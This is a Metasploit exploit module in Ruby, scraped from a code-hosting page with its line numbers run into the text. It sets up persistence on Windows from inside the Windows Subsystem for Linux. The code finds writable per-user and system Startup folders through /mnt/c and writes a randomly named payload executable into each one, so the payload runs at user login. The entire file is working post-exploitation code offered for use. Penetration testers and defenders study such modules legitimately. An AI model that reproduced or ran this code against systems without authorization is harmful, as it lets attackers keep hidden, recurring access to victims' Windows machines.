Path: blob/master/modules/exploits/linux/persistence/wsl/startup_folder.rb
36042 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Local6Rank = ExcellentRanking78include Msf::Post::File9include Msf::Exploit::EXE10include Msf::Exploit::Local::Persistence11include Msf::Post::Linux::Wsl12prepend Msf::Exploit::Remote::AutoCheck1314def initialize(info = {})15super(16update_info(17info,18'Name' => 'Linux WSL via Startup Folder Persistence',19'Description' => %q{20This module establishes persistence by creating a payload in the windows startup folder from within21the Windows Subsystem for Linux (WSL) environment. This allows for code execution on Windows user login.2223Verified on Windows 10 with Ubuntu 24.04 WSL distribution.24},25'License' => MSF_LICENSE,26'Author' => [ 'h00die' ],27'Platform' => [ 'win' ],28'SessionTypes' => [ 'meterpreter', 'shell' ],29'Targets' => [30[ 'Automatic', {} ]31],32'DefaultTarget' => 0,33'References' => [34['ATT&CK', Mitre::Attack::Technique::T1546_EVENT_TRIGGERED_EXECUTION],35['ATT&CK', Mitre::Attack::Technique::T1547_001_REGISTRY_RUN_KEYS_STARTUP_FOLDER],36],37'DisclosureDate' => '2016-08-02', # WSL release date38'Notes' => {39'Stability' => [CRASH_SAFE],40'Reliability' => [REPEATABLE_SESSION, EVENT_DEPENDENT],41'SideEffects' => [ARTIFACTS_ON_DISK]42}43)44)4546register_options(47[48OptString.new('PAYLOAD_NAME', [false, 'Name of payload file to write. Random string as default.']),49OptEnum.new('CONTEXT', [false, 'Target each User or All Users (system)', 'USER', ['USER', 'SYSTEM'] ]),50OptString.new('USER', [false, 'The user to target, or ALL for all users.', 'ALL'], conditions: ['CONTEXT', '==', 'USER'])51]52)53end5455def exploitable_folders56can_do = []57if datastore['CONTEXT'] == 'USER'58root = '/mnt/c/Users'59tail = '/AppData/Roaming/Microsoft/Windows/Start Menu/Programs/Startup'60user_folders = dir(root)61user_folders.each do |f|62next if f =~ /Public$/i63next if f =~ /Default$/i64next if f =~ /Default User$/i65next if f =~ /All Users$/i66next if f =~ /desktop.ini$/i67next unless (f.upcase == datastore['USER'].upcase) || (datastore['USER'] == 'ALL')6869folder = File.join(root, f, tail)70can_do << folder if directory?(folder) && writable?(folder)71end72return can_do73end74root = '/mnt/c/ProgramData/Microsoft/Windows/Start Menu/Programs/Startup'75can_do << root if directory?(root) && writable?(root)76can_do77end7879def check80return CheckCode::Safe('Target is not WSL') unless wsl?8182vprint_good('Inside WSL environment')8384return CheckCode::Safe('No writable startup folders found') if exploitable_folders.empty?8586CheckCode::Appears('Likely exploitable')87end8889def install_persistence90payload_name = datastore['PAYLOAD_NAME'] || Rex::Text.rand_text_alpha((rand(6..13)))91payload_name << '.exe' unless payload_name.downcase.end_with?('.exe')92payload_exe = generate_payload_exe93exploitable_folders.each do |folder|94f = File.join(folder, payload_name)95write_file(f, payload_exe)96vprint_good("Writing payload to #{f}")97windows_path = f.sub(%r{^/mnt/([a-z])}) { "#{::Regexp.last_match(1).upcase}:" }.gsub('/', '\\')98@clean_up_rc << "rm \"#{windows_path}\"\n"99end100end101end102103104